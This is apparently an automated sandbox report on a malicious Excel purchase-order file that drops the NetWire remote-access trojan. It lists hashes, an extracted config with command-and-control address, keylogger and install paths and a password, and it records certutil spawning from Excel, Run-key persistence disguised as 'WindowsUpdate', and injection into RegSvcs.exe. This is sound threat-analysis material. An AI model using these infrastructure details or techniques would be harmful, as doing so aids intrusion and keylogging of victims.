Analysis
-
max time kernel
150s -
max time network
51s -
platform
windows7_x64 -
resource
win7-20220901-en -
resource tags
arch:x64arch:x86image:win7-20220901-enlocale:en-usos:windows7-x64system -
submitted
26-09-2022 08:19
Behavioral task
behavioral1
Sample
PO 0767532.xls
Resource
win7-20220901-en
Behavioral task
behavioral2
Sample
PO 0767532.xls
Resource
win10v2004-20220812-en
General
-
Target
PO 0767532.xls
-
Size
107KB
-
MD5
4b7e91a5f07bfa63ebfbdc143210cc9e
-
SHA1
169d96a1b25a369dd0ae99ac6f03c817cb9ff929
-
SHA256
69230008ebd4db702b501b5d35d6c5551ae5d1cc779d0bbcf4526f606f332650
-
SHA512
fd154e908daf256b859f47c23a21d341238b960361d555bfaa9744d8a73cb251e8c6785363b94c5b6fd1ab84aaadd90aca20d5aeb8c679cae7356e25fa90ef0d
-
SSDEEP
3072:B9xEtjPOtioVjDGUU1qfDlaGGx+cL2QnAB9pWkmanzr0O8yFKdshErls4:XxEtjPOtioVjDGUU1qfDlavx+W2QnABU
Malware Config
Extracted
netwire
37.0.14.206:3384
-
activex_autorun
false
-
copy_executable
true
-
delete_original
false
-
host_id
HostId-%Rand%
-
install_path
%AppData%\Install\Host.exe
-
keylogger_dir
%AppData%\Logs\
-
lock_executable
true
-
offline_keylogger
true
-
password
Password234
-
registry_autorun
false
-
use_mutex
false
Signatures
-
NetWire RAT payload 37 IoCs
Processes:
resource yara_rule behavioral1/memory/1772-96-0x0000000000270000-0x00000000007C4000-memory.dmp netwire behavioral1/memory/1772-97-0x000000000027242D-mapping.dmp netwire behavioral1/memory/1772-101-0x0000000000270000-0x00000000007C4000-memory.dmp netwire behavioral1/memory/1772-106-0x0000000000270000-0x00000000007C4000-memory.dmp netwire behavioral1/memory/1224-121-0x0000000000230000-0x00000000007B0000-memory.dmp netwire behavioral1/memory/1224-122-0x000000000023242D-mapping.dmp netwire behavioral1/memory/1224-126-0x0000000000230000-0x00000000007B0000-memory.dmp netwire behavioral1/memory/1224-131-0x0000000000230000-0x00000000007B0000-memory.dmp netwire behavioral1/memory/1000-144-0x00000000003F0000-0x000000000094D000-memory.dmp netwire behavioral1/memory/1000-145-0x00000000003F242D-mapping.dmp netwire behavioral1/memory/1000-149-0x00000000003F0000-0x000000000094D000-memory.dmp netwire behavioral1/memory/1000-154-0x00000000003F0000-0x000000000094D000-memory.dmp netwire behavioral1/memory/1908-166-0x0000000000210000-0x00000000007EE000-memory.dmp netwire behavioral1/memory/1908-167-0x000000000021242D-mapping.dmp netwire behavioral1/memory/1908-171-0x0000000000210000-0x00000000007EE000-memory.dmp netwire behavioral1/memory/1908-176-0x0000000000210000-0x00000000007EE000-memory.dmp netwire behavioral1/memory/288-188-0x00000000004D0000-0x0000000000BC5000-memory.dmp netwire behavioral1/memory/288-189-0x00000000004D242D-mapping.dmp netwire behavioral1/memory/288-193-0x00000000004D0000-0x0000000000BC5000-memory.dmp netwire behavioral1/memory/288-198-0x00000000004D0000-0x0000000000BC5000-memory.dmp netwire behavioral1/memory/1692-211-0x000000000031242D-mapping.dmp netwire behavioral1/memory/1692-220-0x0000000000310000-0x00000000009E3000-memory.dmp netwire behavioral1/memory/1680-234-0x000000000021242D-mapping.dmp netwire behavioral1/memory/1680-240-0x0000000000210000-0x00000000006DA000-memory.dmp netwire behavioral1/memory/2036-250-0x000000000038242D-mapping.dmp netwire behavioral1/memory/2036-254-0x0000000000380000-0x0000000000AB0000-memory.dmp netwire behavioral1/memory/916-266-0x00000000003F242D-mapping.dmp netwire behavioral1/memory/916-271-0x00000000003F0000-0x00000000009AE000-memory.dmp netwire behavioral1/memory/1840-281-0x000000000038242D-mapping.dmp netwire behavioral1/memory/1840-285-0x0000000000380000-0x000000000099F000-memory.dmp netwire behavioral1/memory/1572-296-0x000000000041242D-mapping.dmp netwire behavioral1/memory/1572-301-0x0000000000410000-0x00000000009D4000-memory.dmp netwire behavioral1/memory/1124-311-0x00000000003C242D-mapping.dmp netwire behavioral1/memory/1124-316-0x00000000003C0000-0x00000000009D4000-memory.dmp netwire behavioral1/memory/688-325-0x000000000048242D-mapping.dmp netwire behavioral1/memory/688-330-0x0000000000480000-0x0000000000B26000-memory.dmp netwire behavioral1/memory/1692-339-0x000000000085242D-mapping.dmp netwire -
Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
Processes:
certutil.exedescription pid pid_target process target process Parent C:\Program Files (x86)\Microsoft Office\Office14\EXCEL.EXE is not expected to spawn this process 532 860 certutil.exe EXCEL.EXE -
Downloads MZ/PE file
-
Executes dropped EXE 42 IoCs
Processes:
WinUpdate.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exeHost.exexckjkc.pifRegSvcs.exepid process 1972 WinUpdate.exe 1932 xckjkc.pif 1772 RegSvcs.exe 844 Host.exe 2020 xckjkc.pif 1224 RegSvcs.exe 1100 Host.exe 1840 xckjkc.pif 1000 RegSvcs.exe 792 Host.exe 460 xckjkc.pif 1908 RegSvcs.exe 1804 Host.exe 2020 xckjkc.pif 288 RegSvcs.exe 528 Host.exe 1724 xckjkc.pif 1692 RegSvcs.exe 1172 Host.exe 1132 xckjkc.pif 1680 RegSvcs.exe 1788 Host.exe 1728 xckjkc.pif 2036 RegSvcs.exe 1804 Host.exe 1428 xckjkc.pif 916 RegSvcs.exe 904 Host.exe 532 xckjkc.pif 1840 RegSvcs.exe 1964 Host.exe 564 xckjkc.pif 1572 RegSvcs.exe 1848 Host.exe 1628 xckjkc.pif 1124 RegSvcs.exe 1788 Host.exe 1528 xckjkc.pif 688 RegSvcs.exe 912 Host.exe 1056 xckjkc.pif 1692 RegSvcs.exe -
Loads dropped DLL 45 IoCs
Processes:
EXCEL.EXEWinUpdate.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifRegSvcs.exeWScript.exexckjkc.pifpid process 860 EXCEL.EXE 1972 WinUpdate.exe 1972 WinUpdate.exe 1972 WinUpdate.exe 1972 WinUpdate.exe 1932 xckjkc.pif 1772 RegSvcs.exe 1536 WScript.exe 2020 xckjkc.pif 1224 RegSvcs.exe 1432 WScript.exe 1840 xckjkc.pif 1000 RegSvcs.exe 936 WScript.exe 460 xckjkc.pif 1908 RegSvcs.exe 980 WScript.exe 2020 xckjkc.pif 288 RegSvcs.exe 844 WScript.exe 1724 xckjkc.pif 1692 RegSvcs.exe 916 WScript.exe 1132 xckjkc.pif 1680 RegSvcs.exe 1768 WScript.exe 1728 xckjkc.pif 2036 RegSvcs.exe 1692 WScript.exe 1428 xckjkc.pif 916 RegSvcs.exe 1940 WScript.exe 532 xckjkc.pif 1840 RegSvcs.exe 1324 WScript.exe 564 xckjkc.pif 1572 RegSvcs.exe 2044 WScript.exe 1628 xckjkc.pif 1124 RegSvcs.exe 1940 WScript.exe 1528 xckjkc.pif 688 RegSvcs.exe 1512 WScript.exe 1056 xckjkc.pif -
Adds Run key to start application 2 TTPs 28 IoCs
Processes:
xckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifdescription ioc process Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run\WindowsUpdate = "C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\xckjkc.pif C:\\Users\\Admin\\AppData\\Local\\Temp\\2_92\\MURCQF~1.SWK" xckjkc.pif Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Windows\CurrentVersion\Run xckjkc.pif -
Suspicious use of SetThreadContext 14 IoCs
Processes:
xckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifxckjkc.pifdescription pid process target process PID 1932 set thread context of 1772 1932 xckjkc.pif RegSvcs.exe PID 2020 set thread context of 1224 2020 xckjkc.pif RegSvcs.exe PID 1840 set thread context of 1000 1840 xckjkc.pif RegSvcs.exe PID 460 set thread context of 1908 460 xckjkc.pif RegSvcs.exe PID 2020 set thread context of 288 2020 xckjkc.pif RegSvcs.exe PID 1724 set thread context of 1692 1724 xckjkc.pif RegSvcs.exe PID 1132 set thread context of 1680 1132 xckjkc.pif RegSvcs.exe PID 1728 set thread context of 2036 1728 xckjkc.pif RegSvcs.exe PID 1428 set thread context of 916 1428 xckjkc.pif RegSvcs.exe PID 532 set thread context of 1840 532 xckjkc.pif RegSvcs.exe PID 564 set thread context of 1572 564 xckjkc.pif RegSvcs.exe PID 1628 set thread context of 1124 1628 xckjkc.pif RegSvcs.exe PID 1528 set thread context of 688 1528 xckjkc.pif RegSvcs.exe PID 1056 set thread context of 1692 1056 xckjkc.pif RegSvcs.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
-
Office loads VBA resources, possible macro or embedded object present
-
Enumerates system info in registry 2 TTPs 1 IoCs
Processes:
EXCEL.EXEdescription ioc process Key opened \REGISTRY\MACHINE\Hardware\Description\System\FloatingPointProcessor EXCEL.EXE -
Processes:
EXCEL.EXEdescription ioc process Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\Contexts = "55" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\ = "&Edit" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0057004f0052004400460069006c00650073003e00620069002400540021005600210030005a003d007b0050006b00300076006d007e0041005a00750020002f006e002000220025003100220000000000 EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit\COMMAND EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\Toolbar\ShowDiscussionButton = "Yes" EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\ONBttnIE.dll/105" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell EXCEL.EXE Set value (int) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\Contexts = "1" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\COMMAND EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit\command EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt EXCEL.EXE Key created \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\Se&nd to OneNote EXCEL.EXE Set value (str) \REGISTRY\USER\S-1-5-21-4063495947-34355257-727531523-1000\Software\Microsoft\Internet Explorer\MenuExt\E&xport to Microsoft Excel\ = "res://C:\\PROGRA~2\\MICROS~1\\Office14\\EXCEL.EXE/3000" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default HTML Editor\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\Default MHTML Editor\shell\edit EXCEL.EXE -
Modifies registry class 64 IoCs
Processes:
EXCEL.EXEdescription ioc process Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\DefaultIcon\ = "\"%1\"" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler\ = "{42042206-2D85-11D3-8CFF-005004838597}" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\ = "[open(\"%1\")]" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application\ = "Excel" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\MSPUB.EXE\" %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\ = "&Open" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\WINWORD.EXE\" /n \"%1\"" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\topic EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\ = "&Open" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shellex\IconHandler EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597} EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Word EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\command EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\Version\14\ = "C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\MSPub.exe\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\ = "&Print" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Publisher\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\shell\Edit\ = "&Edit" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\ddeexec EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\application EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\mhtmlfile\DefaultIcon EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Print\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" /p %1" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\Wow6432Node\CLSID\{42042206-2D85-11D3-8CFF-005004838597}\InprocServer32\ThreadingModel = "Apartment" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec\application EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\EXCEL.EXE\" /dde" EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command\ = "\"C:\\Program Files (x86)\\Microsoft Office\\Office14\\msohtmed.exe\" %1" EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\WinWord.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\command EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b0045005800430045004c00460069006c00650073003e00560069006a00710042006f006600280059003800270077002100460049006400310067004c00510020002f0064006400650000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.htm\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ddeexec\topic\ = "system" EXCEL.EXE Set value (data) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Publisher\shell\edit\command\command = 7800620027004200560035002100210021002100210021002100210021004d004b004b0053006b005000750062005000720069006d006100720079003e00520024006e0075006a0053005700460065003f007d0061004c00720052007000390078004000570020002500310000000000 EXCEL.EXE Key created \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Microsoft Excel\shell\edit\ddeexec EXCEL.EXE Set value (str) \REGISTRY\MACHINE\SOFTWARE\Classes\.mht\OpenWithList\Excel.exe\shell\edit\ = "&Open" EXCEL.EXE Key deleted \REGISTRY\MACHINE\SOFTWARE\Classes\htmlfile\shell\Edit\command 